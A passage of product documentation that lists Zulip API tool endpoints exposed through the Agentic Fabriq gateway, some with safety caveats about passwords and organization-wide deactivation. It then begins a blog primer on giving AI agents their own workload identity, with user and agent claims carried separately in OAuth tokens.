ID. You can resolve topics by editing the topic to `✔ {original_topic}` with the `propagate_mode` parameter set to `"change_all"`. See [configuring message editing][config-message-editing] for detailed documentation on when users are allowed to edit message content, and [restricting moving messages][restrict-move-messages] for detailed documentation on when users are allowed to change a message's topic and/or channel. . Zulip PATCH /messages/{message_id}. PATCH /api/v1/zulip/messages/{message_id}. Scopes: api. zulip_patch_navigation_views_by_fragment (write) — Update the details of an existing configured navigation view, such as its name or whether it's pinned. Zulip PATCH /navigation_views/{fragment}. PATCH /api/v1/zulip/navigation_views/{fragment}. Scopes: api. zulip_patch_realm_domains_by_domain (write) — Update whether subdomains are allowed in user account email addresses for the specified domain. Zulip PATCH /realm/domains/{domain}. PATCH /api/v1/zulip/realm/domains/{domain}. Scopes: api. zulip_patch_realm_filters_by_filter_id (write) — Update a linkifier, regular expression patterns that are automatically linkified when they appear in messages and topics. Zulip PATCH /realm/filters/{filter_id}. PATCH /api/v1/zulip/realm/filters/{filter_id}. Scopes: api. zulip_patch_realm_linkifiers (write) — Change the order that the regular expression patterns in the organization's linkifiers are matched in messages and topics. Useful when defining linkifiers with overlapping patterns. Zulip PATCH /realm/linkifiers. PATCH /api/v1/zulip/realm/linkifiers. Scopes: api. zulip_patch_realm_profile_fields (write) — Reorder the custom profile fields in the user's organization. Custom profile fields are displayed in Zulip UI widgets in order; this endpoint allows administrative settings UI to change the field ordering. This endpoint is used to implement the dragging feature described in the custom profile fields documentation. Zulip PATCH /realm/profile_fields. PATCH /api/v1/zulip/realm/profile_fields. Scopes: api. zulip_patch_realm_profile_fields_by_field_id (write) — Update the configuration of a custom profile field in the user's organization. The type of a custom profile field cannot be changed. At most, 2 custom profile fields can have `display_in_profile_summary` set to `true` in an organization. For custom profile fields with type 7 (External account) that use one of Zulip's configured default external account providers (e.g., GitHub, LinkedIn, etc.), the field's `name`, `hint`, and `field_data` cannot be changed, and attempting to do so will return an error. Zulip PATCH /realm/profile_fields/{field_id}. Documented only in Zulip's development (main) contract, not in the 12.2 release contract, so an older server may not route it. PATCH /api/v1/zulip/realm/profile_fields/{field_id}. Scopes: api. zulip_patch_realm_user_settings_defaults (write) — Change the [default values of settings][new-user-defaults] for new users joining the organization. Essentially all personal preference settings are supported. This feature can be invaluable for customizing Zulip's default settings for notifications or UI to be appropriate for how the organization is using Zulip. (Note that this only supports personal preference settings, like when to send push notifications or what emoji set to use, not profile or identity settings that naturally should be different for each user). Note that this endpoint cannot, at present, be used to modify settings for existing users in any way. Zulip PATCH /realm/user_settings_defaults. PATCH /api/v1/zulip/realm/user_settings_defaults. Scopes: api. zulip_patch_saved_snippets_by_saved_snippet_id (write) — Edit a saved snippet for the current user. Zulip PATCH /saved_snippets/{saved_snippet_id}. PATCH /api/v1/zulip/saved_snippets/{saved_snippet_id}. Scopes: api. zulip_patch_scheduled_messages_by_scheduled_message_id (write) — Edit an existing scheduled message. Zulip PATCH /scheduled_messages/{scheduled_message_id}. PATCH /api/v1/zulip/scheduled_messages/{scheduled_message_id}. Scopes: api. zulip_patch_settings (write) — This endpoint is used to edit the current user's settings. When invoked by a realm admin, it supports bulk updates to settings for specified users or members of user groups using the `target_users` parameter. Zulip PATCH /settings. PATCH /api/v1/zulip/settings. Scopes: api. zulip_patch_streams_by_stream_id (write) — Configure the channel with the ID `stream_id`. This endpoint supports an organization administrator editing any property of a channel, including: - Channel name and description - Channel permissions, including privacy and who can send. Note that an organization administrator's ability to change a private channel's permissions depends on them being subscribed to the channel. Zulip PATCH /streams/{stream_id}. PATCH /api/v1/zulip/streams/{stream_id}. Scopes: api. zulip_patch_user_groups_by_user_group_id (write) — Update the name, description or any of the permission settings of a user group. This endpoint is also used to reactivate a user group. Note that while permissions settings of deactivated groups can be edited by this API endpoint, and those permissions settings do affect the ability to modify the deactivated group and its membership, the deactivated group itself cannot be mentioned or used in the value of any permission without first being reactivated. Zulip PATCH /user_groups/{user_group_id}. PATCH /api/v1/zulip/user_groups/{user_group_id}. Scopes: api. zulip_patch_users_by_email (write) — Administrative endpoint to update the details of another user in the organization by their email address. Works the same way as `PATCH /users/{user_id}` but fetching the target user by their real email address. The requester needs to have permission to view the target user's real email address, subject to the user's email address visibility setting. Otherwise, the dummy address of the format `user{id}@{realm.host}` needs be used. This follows the same rules as `GET /users/{email}`. Zulip PATCH /users/{email}. PATCH /api/v1/zulip/users/by-email/{email}. Scopes: api. zulip_patch_users_by_user_id (write) — Administrative endpoint to update the details of another user in the organization. Supports everything an administrator can do to edit details of another user's account, including editing full name, role, and custom profile fields. Zulip PATCH /users/{user_id}. PATCH /api/v1/zulip/users/{user_id}. Scopes: api. zulip_patch_users_me_profile_data (write) — Update the current user's profile data for one or more of the custom profile fields configured in the organization. Zulip PATCH /users/me/profile_data. PATCH /api/v1/zulip/users/me/profile_data. Scopes: api. zulip_patch_users_me_subscriptions (write) — Update which channels you are subscribed to. Zulip PATCH /users/me/subscriptions. PATCH /api/v1/zulip/users/me/subscriptions. Scopes: api. zulip_patch_users_me_subscriptions_by_stream_id (write) — Update the current user's personal settings for a specific channel they are subscribed to. These settings include color, muting, pinning and per-channel notification settings. This is a single channel alternative to the bulk endpoint: `POST /users/me/subscriptions/properties`. Zulip PATCH /users/me/subscriptions/{stream_id}. PATCH /api/v1/zulip/users/me/subscriptions/{stream_id}. Scopes: api. zulip_patch_users_me_subscriptions_muted_topics (write) — Mute or unmute a topic within a channel that the current user is subscribed to. Zulip PATCH /users/me/subscriptions/muted_topics. PATCH /api/v1/zulip/users/me/subscriptions/muted_topics. Scopes: api. zulip_post_bots_by_bot_id_api_key_regenerate (write) — Generate a new API key for a bot user. Only the bot's owner and organization administrators have access to a bot's API key. Zulip POST /bots/{bot_id}/api_key/regenerate. POST /api/v1/zulip/bots/{bot_id}/api_key/regenerate. Scopes: api. zulip_post_calls_constructorgroups_create (write) — Create a video call URL for a Constructor Groups video call. Requires Constructor Groups to be configured on the Zulip server. Zulip POST /calls/constructorgroups/create. POST /api/v1/zulip/calls/constructorgroups/create. Scopes: api. zulip_post_calls_nextcloud_talk_create (write) — Create a video call URL for a Nextcloud Talk video call. Requires Nextcloud Talk to be configured on the Zulip server. Zulip POST /calls/nextcloud_talk/create. POST /api/v1/zulip/calls/nextcloud_talk/create. Scopes: api. zulip_post_calls_webex_create (write) — Create a video call URL for a Webex video call. Requires Webex integration to be configured on the Zulip server. Clients should confirm that the user has completed the OAuth process with Webex and has a Webex token before attempting to create a video call URL. See the `has_webex_token` field in the `POST /register` response, as well as the `has_webex_token` event type. Zulip POST /calls/webex/create. POST /api/v1/zulip/calls/webex/create. Scopes: api. zulip_post_channel_folders_create (write) — Create a new channel folder. Zulip POST /channel_folders/create. POST /api/v1/zulip/channel_folders/create. Scopes: api. zulip_post_channels_create (write) — Create a new channel, and optionally subscribe users to the newly created channel. The initial channel settings will be determined by the optional parameters, like `invite_only`, detailed below. Zulip POST /channels/create. POST /api/v1/zulip/channels/create. Scopes: api. zulip_post_default_streams (write) — Add a channel to the set of [default channels][default-channels] for new users joining the organization. [default-channels]: /help/set-default-channels-for-new-users. Zulip POST /default_streams. POST /api/v1/zulip/default_streams. Scopes: api. zulip_post_drafts (write) — Create one or more drafts on the server. These drafts will be automatically synchronized to other clients via `drafts` events. Zulip POST /drafts. POST /api/v1/zulip/drafts. Scopes: api. zulip_post_export_realm (write) — Create a public or a standard [data export][export-data] of the organization. Note: If you're the administrator of a self-hosted installation, you may be looking for the documentation on [server data export and import][data-export] or [server backups][backups]. Zulip POST /export/realm. Starts a full export of the organization's data, including private messages and uploaded files. Exports are rate-limited to a handful per organization per week and the resulting archive is downloadable by anyone with the link. POST /api/v1/zulip/export/realm. Scopes: api. zulip_post_fetch_api_key (write) — This API endpoint is used by clients such as the Zulip mobile and terminal apps to implement password-based authentication. Given the user's Zulip login credentials, it returns a Zulip API key that the client can use to make requests as the user. This endpoint is only useful for Zulip servers/organizations with EmailAuthBackend or LDAPAuthBackend enabled. The Zulip mobile apps also support SSO/social authentication (GitHub auth, Google auth, SAML, etc.) that does not use this endpoint. Instead, the mobile apps reuse the web login flow passing the `mobile_flow_otp` in a webview, and the credentials are returned to the app (encrypted) via a redirect to a `zulip://` URL. . Zulip POST /fetch_api_key. This operation takes a Zulip account PASSWORD as an argument and returns that account's API key. The password becomes part of the tool call, so it is recorded wherever the call is. Prefer connecting with an API key minted in the Zulip web app (Personal settings > Account & privacy > API key) over sending a password through a tool. POST /api/v1/zulip/fetch_api_key. Scopes: api. zulip_post_invites (write) — Send invitations to specified email addresses. Zulip POST /invites. POST /api/v1/zulip/invites. Scopes: api. zulip_post_invites_by_invite_id_resend (write) — Resend an email invitation. A user can only resend invitations that they can manage. Zulip POST /invites/{invite_id}/resend. POST /api/v1/zulip/invites/{invite_id}/resend. Scopes: api. zulip_post_invites_multiuse (write) — Create a reusable invitation link which can be used to invite new users to the organization. Zulip POST /invites/multiuse. POST /api/v1/zulip/invites/multiuse. Scopes: api. zulip_post_jwt_fetch_api_key (write) — This API endpoint is used by clients to implement JSON Web Token (JWT) authentication. Given a JWT identifying a Zulip user, it returns a Zulip API key that the client can use to make requests as the user. Note: This endpoint is only useful for Zulip servers/organizations with [JSON web token authentication][prod-jwt-auth] enabled. See the API keys documentation for more details on how to manage API keys manually. Zulip POST /jwt/fetch_api_key. POST /api/v1/zulip/jwt/fetch_api_key. Scopes: api. zulip_post_mark_all_as_read (write) — Marks all of the current user's unread messages as read. Because this endpoint marks messages as read in batches, it is possible for the request to time out after only marking some messages as read. When this happens, the `complete` boolean field in the success response will be `false`. Clients should repeat the request when handling such a response. If all messages were marked as read, then the success response will return `"complete": true`. Zulip POST /mark_all_as_read. POST /api/v1/zulip/mark_all_as_read. Scopes: api. zulip_post_mark_stream_as_read (write) — Mark all the unread messages in a channel as read. Zulip POST /mark_stream_as_read. POST /api/v1/zulip/mark_stream_as_read. Scopes: api. zulip_post_mark_topic_as_read (write) — Mark all the unread messages in a topic as read. Zulip POST /mark_topic_as_read. POST /api/v1/zulip/mark_topic_as_read. Scopes: api. zulip_post_messages (write) — Send a channel message or a direct message. Zulip POST /messages. POST /api/v1/zulip/messages. Scopes: api. zulip_post_messages_by_message_id_reactions (write) — Add an emoji reaction to a message. Zulip POST /messages/{message_id}/reactions. POST /api/v1/zulip/messages/{message_id}/reactions. Scopes: api. zulip_post_messages_by_message_id_report (write) — Sends a notification to the organization's moderation request channel, if it is configured, that reports the targeted message for review and moderation. Clients should check the `moderation_request_channel` realm setting to decide whether to show the option to report messages in the UI. If the `report_type` parameter value is `"other"`, the `description` parameter is required. Clients should also enforce and communicate this behavior in the UI. Zulip POST /messages/{message_id}/report. POST /api/v1/zulip/messages/{message_id}/report. Scopes: api. zulip_post_messages_by_message_id_typing (write) — Notify other users whether the current user is editing a message. Typing notifications for editing messages follow the same protocol as set-typing-status, see that endpoint for details. Zulip POST /messages/{message_id}/typing. POST /api/v1/zulip/messages/{message_id}/typing. Scopes: api. zulip_post_messages_flags (write) — Add or remove personal message flags like `read` and `starred` on a collection of message IDs. See also the endpoint for updating flags on a range of messages within a narrow. Zulip POST /messages/flags. POST /api/v1/zulip/messages/flags. Scopes: api. zulip_post_messages_flags_narrow (write) — Add or remove personal message flags like `read` and `starred` on a range of messages within a narrow. See also the endpoint for updating flags on specific message IDs. Zulip POST /messages/flags/narrow. POST /api/v1/zulip/messages/flags/narrow. Scopes: api. zulip_post_messages_render (write) — Render a message to HTML. Zulip POST /messages/render. POST /api/v1/zulip/messages/render. Scopes: api. zulip_post_mobile_push_e2ee_test_notification (write) — Trigger sending an end-to-end encrypted (E2EE) test push notification to the user's selected mobile device or all of their mobile devices. Zulip POST /mobile_push/e2ee/test_notification. POST /api/v1/zulip/mobile_push/e2ee/test_notification. Scopes: api. zulip_post_mobile_push_register (write) — Register a device to receive end-to-end encrypted mobile push notifications, or update such a registration. To perform an initial registration, clients must provide both the push key fields (`push_key` and `push_key_id`) and the token fields (`token_kind`, `token_id`, `bouncer_public_key`, and `encrypted_push_registration`). Once registered, clients should use this endpoint to rotate `push_key` or FCM/APNs provided token: - Rotate push key: Provide only the push key fields. - Rotate token: Provide only the token fields. On a successful registration, the server automatically removes any legacy push device registration with a matching token for the user. . Zulip POST /mobile_push/register. POST /api/v1/zulip/mobile_push/register. Scopes: api. zulip_post_mobile_push_test_notification (write) — Trigger sending a test push notification to the user's selected mobile device or all of their mobile devices. Zulip POST /mobile_push/test_notification. POST /api/v1/zulip/mobile_push/test_notification. Scopes: api. zulip_post_navigation_views (write) — Adds a new custom left sidebar navigation view configuration for the current user. This can be used both to configure built-in navigation views, or to add new navigation views. Zulip POST /navigation_views. POST /api/v1/zulip/navigation_views. Scopes: api. zulip_post_realm_deactivate (write) — Deactivate an organization on the Zulip server. Deactivating an organization immediately logs out all of its users and prevents them from logging in again. A deactivated organization can be reactivated via a management command, unless its data has been permanently deleted (see the `deletion_delay_days` parameter below). This endpoint is primarily useful for Zulip servers that host multiple organizations. Zulip POST /realm/deactivate. This deactivates the WHOLE ZULIP ORGANIZATION -- every user loses access, not just this connection. The ledger classes it `write` rather than `destructive`, so it carries no destructive badge and no confirmation gate; the consequence is stated here because nothing else states it. Documented only in Zulip's development (main) contract, not in the 12.2 release contract, so an older server may not route it. POST /api/v1/zulip/realm/deactivate. Scopes: api. zulip_post_realm_domains (write) — Add a domain to the set of allowed domains configured in the organization for user account email addresses. Zulip POST /realm/domains. POST /api/v1/zulip/realm/domains. Scopes: api. zulip_post_realm_filters (write) — Configure linkifiers, regular expression patterns that are automatically linkified when they appear in messages and topics. Zulip POST /realm/filters. POST /api/v1/zulip/realm/filters. Scopes: api. zulip_post_realm_playgrounds (write) — Configure code playgrounds for the organization. Zulip POST /realm/playgrounds. POST /api/v1/zulip/realm/playgrounds. Scopes: api. zulip_post_realm_profile_fields (write) — Create a custom profile field in the user's organization. Zulip POST /realm/profile_fields. POST /api/v1/zulip/realm/profile_fields. Scopes: api. zulip_post_realm_test_welcome_bot_custom_message (write) — Sends a test Welcome Bot custom message to the acting administrator. This allows administrators to preview how the custom welcome message will appear when received by new users upon joining the organization. Zulip POST /realm/test_welcome_bot_custom_message. POST /api/v1/zulip/realm/test_welcome_bot_custom_message. Scopes: api. zulip_post_register (write) — This powerful endpoint can be used to register a Zulip "event queue" (subscribed to certain types of "events", or updates to the messages and other Zulip data the current user has access to), as well as to fetch the current state of that data. (`register` also powers the `call_on_each_event` Python API, and is intended primarily for complex applications for which the more convenient `call_on_each_event` API is insufficient). This endpoint returns a `queue_id` and a `last_event_id`; these can be used in subsequent calls to the "events" endpoint to request events from the Zulip server using long-polling. The server will queue events for up to `idle_queue_timeout_secs` seconds of inactivity. . Zulip POST /register. Part of Zulip's long-polling event system: register a queue with zulip_post_register, poll it with zulip_get_events (which BLOCKS for up to the server's timeout unless dont_block is true), and release it with zulip_delete_events. An abandoned queue is garbage-collected by the server. POST /api/v1/zulip/register. Scopes: api. zulip_post_register_client_device (write) — Logged-in mobile devices use this endpoint as an initial step to register themselves, before registering for E2EE push notifications. This endpoint is currently not useful for clients other than mobile. Zulip POST /register_client_device. POST /api/v1/zulip/register_client_device. Scopes: api. zulip_post_reminders (write) — Schedule a reminder to be sent to the current user at the specified time. The reminder will link the relevant message. Zulip POST /reminders. POST /api/v1/zulip/reminders. Scopes: api. zulip_post_remotes_push_e2ee_register (write) — Register a push device to bouncer to receive end-to-end encrypted mobile push notifications. Self-hosted servers use this endpoint to asynchronously register a push device to the bouncer server after receiving a request from the mobile client to register E2EE push device. It is not meant to be used by mobile clients directly. Zulip POST /remotes/push/e2ee/register. POST /api/v1/zulip/remotes/push/e2ee/register. Scopes: api. zulip_post_remove_client_device (write) — Mobile devices use this endpoint to remove their device record registered using `POST /register_client_device` when the user logs out. This endpoint is currently not useful for clients other than mobile. Zulip POST /remove_client_device. POST /api/v1/zulip/remove_client_device. Scopes: api. zulip_post_saved_snippets (write) — Create a new saved snippet for the current user. Zulip POST /saved_snippets. POST /api/v1/zulip/saved_snippets. Scopes: api. zulip_post_scheduled_messages (write) — Create a new scheduled message. Zulip POST /scheduled_messages. POST /api/v1/zulip/scheduled_messages. Scopes: api. zulip_post_streams_by_stream_id_delete_topic (write) — Delete all messages in a topic. Topics are a field on messages (not an independent data structure), so deleting all the messages in the topic deletes the topic from Zulip. Because this endpoint deletes messages in batches, it is possible for the request to time out after only deleting some messages in the topic. When this happens, the `complete` boolean field in the success response will be `false`. Clients should repeat the request when handling such a response. If all messages in the topic were deleted, then the success response will return `"complete": true`. Zulip POST /streams/{stream_id}/delete_topic. POST /api/v1/zulip/streams/{stream_id}/delete_topic. Scopes: api. zulip_post_typing (write) — Notify other users whether the current user is [typing a message][help-typing]. Clients implementing Zulip's typing notifications protocol should work as follows: - Send a request to this endpoint with `"op": "start"` when a user starts composing a message. - While the user continues to actively type or otherwise interact with the compose UI (e.g. interacting with the compose box emoji picker), send regular `"op": "start"` requests to this endpoint, using `server_typing_started_wait_period_milliseconds` in the [`POST /register`][api-register] response as the time interval between each request. . Zulip POST /typing. POST /api/v1/zulip/typing. Scopes: api. zulip_post_user_groups_by_user_group_id_deactivate (write) — Deactivate a user group. Deactivated user groups cannot be used for mentions, permissions, or any other purpose, but can be reactivated or renamed. Deactivating user groups is preferable to deleting them from the database, since the deactivation model allows audit logs of changes to sensitive group-valued permissions to be maintained. Zulip POST /user_groups/{user_group_id}/deactivate. POST /api/v1/zulip/user_groups/{user_group_id}/deactivate. Scopes: api. zulip_post_user_groups_by_user_group_id_members (write) — Update the members of a user group. The user IDs must correspond to non-deactivated users. Zulip POST /user_groups/{user_group_id}/members. POST /api/v1/zulip/user_groups/{user_group_id}/members. Scopes: api. zulip_post_user_groups_by_user_group_id_subgroups (write) — Update the subgroups of a user group. Zulip POST /user_groups/{user_group_id}/subgroups. POST /api/v1/zulip/user_groups/{user_group_id}/subgroups. Scopes: api. zulip_post_user_groups_create (write) — Create a new user group. Zulip POST /user_groups/create. POST /api/v1/zulip/user_groups/create. Scopes: api. zulip_post_user_topics (write) — This endpoint is used to update the personal preferences for a topic, such as the topic's visibility policy, which is used to implement mute a topic and related features. This endpoint can be used to update the visibility policy for the single channel and topic pair indicated by the parameters for a user. Zulip POST /user_topics. POST /api/v1/zulip/user_topics. Scopes: api. zulip_post_users (write) — Create a new user account via the API. Note: On Zulip Cloud, this feature is available only for organizations on a Zulip Cloud Standard or Zulip Cloud Plus plan. Administrators can request the required `can_create_users` permission for a bot or user by contacting [Zulip Cloud support][support] with an explanation for why it is needed. Self-hosted installations can toggle `can_create_users` on an account using the `manage.py change_user_role` [management command][management-commands]. Zulip POST /users. POST /api/v1/zulip/users. Scopes: api. zulip_post_users_by_user_id_reactivate (write) — Reactivates a user given their user ID. Zulip POST /users/{user_id}/reactivate. POST /api/v1/zulip/users/{user_id}/reactivate. Scopes: api. zulip_post_users_by_user_id_status (write) — Administrator endpoint for changing the status of another user. Zulip POST /users/{user_id}/status. POST /api/v1/zulip/users/{user_id}/status. Scopes: api. zulip_post_users_me_alert_words (write) — Add words (or phrases) to the user's set of configured [alert words][alert-words]. [alert-words]: /help/dm-mention-alert-notifications#alert-words. Zulip POST /users/me/alert_words. POST /api/v1/zulip/users/me/alert_words. Scopes: api. zulip_post_users_me_android_gcm_reg_id (write) — This endpoint adds an FCM registration token for push notifications. Zulip POST /users/me/android_gcm_reg_id. POST /api/v1/zulip/users/me/android_gcm_reg_id. Scopes: api. zulip_post_users_me_api_key_regenerate (write) — Note: Users should treat their Zulip API key as carefully as they would their password. Generate a new API key for the user making the request. Changing a user's API key will immediately log them out of Zulip on devices registered for [mobile push notifications][mobile-push]. Zulip POST /users/me/api_key/regenerate. This REPLACES the API key of the account this connection authenticates as, which immediately invalidates the credential Agentic Fabriq holds: every later call on this connection fails until the connection is reconnected with the new key. The new key is returned in the response. POST /api/v1/zulip/users/me/api_key/regenerate. Scopes: api. zulip_post_users_me_apns_device_token (write) — This endpoint adds an APNs device token to register for iOS push notifications. Zulip POST /users/me/apns_device_token. POST /api/v1/zulip/users/me/apns_device_token. Scopes: api. zulip_post_users_me_muted_users_by_muted_user_id (write) — Mute a user from the perspective of the requesting user. Messages sent by muted users will be automatically marked as read and hidden for the user who muted them. Muted users should be implemented by clients as follows: - The server will immediately mark all messages sent by the muted user as read. This will automatically clear any existing mobile push notifications related to the muted user. - The server will mark any new messages sent by the muted user as read for the requesting user's account, which prevents all email and mobile push notifications. - Clients should exclude muted users from presence lists or other UI for viewing or composing one-on-one direct messages. . Zulip POST /users/me/muted_users/{muted_user_id}. POST /api/v1/zulip/users/me/muted_users/{muted_user_id}. Scopes: api. zulip_post_users_me_presence (write) — Update the current user's [presence][availability] and fetch presence data of other users in the organization. This endpoint is meant to be used by clients for both: - Reporting the current user's presence status (`"active"` or `"idle"`) to the server. - Obtaining the presence data of all other users in the organization via regular polling. Accurate user presence is one of the most expensive parts of any chat application (in terms of bandwidth and other resources). Therefore, it is important that clients implementing Zulip's user presence system use the modern `last_update_id` protocol to minimize fetching duplicate user presence data. . Zulip POST /users/me/presence. POST /api/v1/zulip/users/me/presence. Scopes: api. zulip_post_users_me_status (write) — Change your status. A request to this endpoint will only change the parameters passed. For example, passing just `status_text` requests a change in the status text, but will leave the status emoji unchanged. Clients that wish to set the user's status to a specific value should pass all supported parameters. Zulip POST /users/me/status. POST /api/v1/zulip/users/me/status. Scopes: api. zulip_post_users_me_subscriptions (write) — Subscribe one or more users to one or more channels. If any of the specified channels do not exist, they are automatically created. The initial channel settings will be determined by the optional parameters, like `invite_only`, detailed below. Note that the ability to subscribe oneself and/or other users to a specified channel depends on the channel's permissions settings. Zulip POST /users/me/subscriptions. POST /api/v1/zulip/users/me/subscriptions. Scopes: api. zulip_post_users_me_subscriptions_properties (write) — Update the current user's personal settings for channels they are subscribed to. These settings include color, muting, pinning and per-channel notification settings. There is a single channel alternative to this bulk endpoint: `POST /users/me/subscriptions/{stream_id}`. Zulip POST /users/me/subscriptions/properties. POST /api/v1/zulip/users/me/subscriptions/properties. Scopes: api. zulip_put_bot_storage (write) — Note: This endpoint is only available to bot user accounts. Add or update data stored for a bot user. Each bot has a limited storage set by the server, which normally is a default of 10,000,000 characters. Zulip PUT /bot_storage. PUT /api/v1/zulip/bot_storage. Scopes: api. ================================================================================ # Blog — 20 selected posts Source: https://www.agenticfabriq.com/blog ================================================================================ ## Identity for AI Agents: A Technical Primer URL: https://www.agenticfabriq.com/blog/identity-for-ai-agents-primer Published: 2026-05-11 Author: Agentic Fabriq Summary: The IETF now models an agent as a workload with exactly one identifier. What that means in claims, credentials and audit records, with the spec text for each and the four ways teams get it wrong. ```tldr **An agent is neither a human user nor a service account, and the IETF's working draft on the subject resolves that by calling it a third thing: a workload that acts for someone.** `draft-klrc-aiagent-auth-03` requires that an agent "MUST be assigned exactly one WIMSE identifier", and says that when the agent acts for a person, the person's identifier goes in the access token's `sub` claim while the agent's goes in `client_id`. Two identifiers on one request, both required. The usual shortcut is to give the agent a service account and move on. It runs. It also collapses those two identities into one, which is why the question that matters after an incident, which agent did this and on whose authority, has no answer in the logs. We are not claiming this needs a new protocol. Almost none of it is new. SPIFFE supplies the identifier, OAuth the delegation, RFC 8693 the actor claim, RFC 9728 the discovery. What is new is the requirement that both identifiers survive together all the way to the resource server. Start by decoding an access token your agent is using right now. If `sub` and `client_id` name the same thing, you have one principal where the draft says you need two. ``` ## Overview {#overview} Enterprise identity has two boxes. A human authenticates and gets a session. A machine runs under a service account whose permissions were sized once, at setup, for one job. Every provisioning flow, entitlement review and revocation path in a mid-sized enterprise assumes a principal is one or the other. An agent is software that improvises. It picks a different set of tools depending on the request, interprets instructions rather than executing a fixed routine, and chains calls across systems that were never introduced to each other. The IETF draft covering this states the framing in its section 4 heading: agents are workloads. An agent "iteratively interacts with a Large Language Model (LLM) and a set of Tools, Services and Resources" until a terminating condition is reached, and it "may receive input from a user, or act autonomously." That last clause is where the old model runs out. A workload with no user behind it is a service account, and the existing machinery handles it fine. A workload acting for a specific person is something the existing machinery has no shape for, because the person's authority and the agent's have to travel together and be evaluated together at the far end. This primer covers the mechanics: which identifier the agent gets, which credential proves it, which claims carry the user alongside it, and what a resource server is meant to do with both. The protocol-specific gap in MCP is covered separately in [the MCP OAuth permissioning problem](/blog/mcp-oauth-permissioning-problem), and the distinction between proving identity and bounding an action in [agent authorization vs. authentication](/blog/agent-authorization-vs-authentication). > **The core requirement: an agent has to be attributable and revocable on its own, not through the > identity of whoever deployed it.** Everything below is one piece of making that true on the wire. ## Why the Two-Principal Model Breaks {#why} A service account was designed for software that does the same thing forever. Its permissions were sized once for that job, and the sizing stayed correct because the job did. An agent has no single job. The tools it touches are chosen at runtime by a model reading a request, so the permission set has to cover the union of everything it might be asked to do. That union is always wider than any one task needs. Put a variable workload behind a fixed grant and the grant becomes the blast radius. Nothing about that is speculative, and the platform vendors have started acting on it. Microsoft Entra Agent ID gives agents their own resource type in the directory rather than reusing the application object, and it hard-blocks a list of high-privilege Microsoft Graph permissions for agent identities specifically, "because of the autonomous nature of agents and the potential risks they pose." Ask for one anyway and the request is rejected with an HTTP `400 Bad Request` saying the permission cannot be granted to agent identities. `Directory.ReadWrite.All`, `Files.ReadWrite.All`, `RoleManagement.ReadWrite.Directory` and `User-PasswordProfile.ReadWrite.All` are on that list. A human admin can still hold every one of them. That is a vendor drawing a line the standards had not: the same permission is fine for one class of principal and not for another, which only works if the two classes are distinguishable at grant time. They are not distinguishable when the agent runs under a shared service account. The second failure is quieter. Without a distinct identity, every action is attributed to whatever account the agent borrowed. The log records that the account acted. It cannot record which agent, on whose behalf, executing which instruction, because none of that was carried on the request. We think that is why agent incidents read as confusing afterwards. Not that nothing was logged. That what was logged points at a principal which did not make the decision. ## The Agent as a First-Class Principal {#principal} There are four ways teams model this, and the choice determines what you can answer later. | Model | What the resource server sees | Attribution | How you cut it off | Standing blast radius | | --- | --- | --- | --- | --- | | Inherits the user's session, [`aact:identity-model/shared-human-identity`](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/identity-model.yaml) | The user, and only the user | None for the agent | Kill the user's session, which also stops the human | Everything that user can do | | Shared service account, `aact:identity-model/shared-service-account` | One machine principal | Which agent? Unanswerable | Rotate the secret, breaking every agent that shares it | Union of every agent's needs | | Per-agent service account, `aact:identity-model/per-agent-identity` | That specific agent | Agent yes, acting user no | Disable that principal | Whatever it was granted, permanently | | Workload identity plus a delegated grant, `aact:identity-model/workload-identity` | Agent and acting user, separately | Both, on every call | Disable the agent identity, or revoke the grant | Intersection of the two | **Table 1 — Four ways to model an agent principal, and what each one costs you at incident time.** Rows one and four are the interesting pair, because RFC 8693 already named the difference. Under impersonation, "A is given all the rights that B has within some defined rights context and is indistinguishable from B in that context." Under delegation, "principal A still has its own identity separate from B, and it is explicitly understood that while B may have delegated some of its rights to A, any actions taken are being taken by A representing B." Indistinguishable is the operative word. Row one is not weak attribution. It is the deliberate absence of it, which a spec offers because some cases want it. Agents are not one of those cases. Row four also fixes the sizing problem, because the agent's authority stops being a standing grant and becomes an intersection. Microsoft states this for delegated Graph permissions in the plainest available terms: "the application can't access anything the signed-in user couldn't access," and the privileges an app has acting for a user are determined by the permissions the app was granted *and* the user's own. Two constraints, both applied, neither sufficient alone. ## Identifiers and Credentials {#identifiers} An identity starts with a stable name. The draft is unambiguous about this: "Agents MUST be uniquely identified in order to support authentication, authorization, auditing, and delegation," and the identifier it standardises on is the WIMSE identifier, "a URI that uniquely identifies a workload within a trust domain." Authorization decisions, delegation semantics and audit records "rely on this identifier remaining stable for the lifetime of the workload identity." An agent "MUST be assigned exactly one." SPIFFE is the deployed instance of that model, which the draft calls "widely deployed and operationally mature." A SPIFFE ID is a URI of the form `spiffe://<trust-domain>/<path>`, and the credential that proves it is an SVID, "the document with which a workload proves its identity to a resource or caller," issued either as an X.509 certificate or as a JWT. A name proves nothing on its own, so section 7 pairs it with a credential requirement: agents "MUST possess credentials that provide a cryptographic binding to the agent identifier." A shared API key in an environment variable does not provide that binding. Any process that can read the variable can present it. Together on one request, the SPIFFE ID names the workload and the access token names both the workload and the person it acts for: ```json { "iss": "https://as.example.com", "aud": "https://mcp.example.com", "sub": "user:a.mensah@example.com", "client_id": "spiffe://example.com/agents/ap-exception-bot", "scope": "invoices:read invoices:annotate", "exp": 1778112000, "jti": "c0ffee-7b31-4f2a-9d55-8ab41e2c77de" } ``` `sub` is the person. `client_id` is the agent. Both are required fields under RFC 9068, which defines the JWT profile for access tokens, and the draft leans on exactly that structure. ## Carrying Two Identities Through Delegation {#scopes} RFC 9068 section 2.2 sets the rule the draft then applies. For tokens obtained through a grant where a resource owner is involved, "the value of `sub` SHOULD correspond to the subject identifier of the resource owner." For grants with no resource owner, such as client credentials, `sub` "SHOULD correspond to an identifier the authorization server uses to indicate the client application." `client_id` is required either way. The two shapes are therefore distinguishable by inspection. An agent acting for a person carries a human in `sub` and a workload in `client_id`. An agent acting for itself carries the same value in both. It is the cheapest identity audit available. Delegation across hops needs a different mechanism, because `sub` has one slot. RFC 8693 supplies it. The `act` claim "provides a means within a JWT to express that delegation has occurred and identify the acting party to whom authority has been delegated," and chains nest: "The outermost `act` claim represents the current actor while nested `act` claims represent prior actors." There is a matching gate. The `may_act` claim "makes a statement that one party is authorized to become the actor and act on behalf of another party," so the authorization server can refuse a delegation it never sanctioned rather than minting whatever is asked for. ```mermaid sequenceDiagram participant U as User participant P as Planner agent participant W as Worker agent participant R as Resource server U->>P: request (user authenticates) P->>P: token: sub=user, client_id=planner P->>W: subtask + exchanged token Note over W: act = worker, nested act = planner W->>R: call with narrowed scope R->>R: validate aud, read sub + act chain R-->>W: result, logged against both identities ``` **Figure 1 — A two-hop 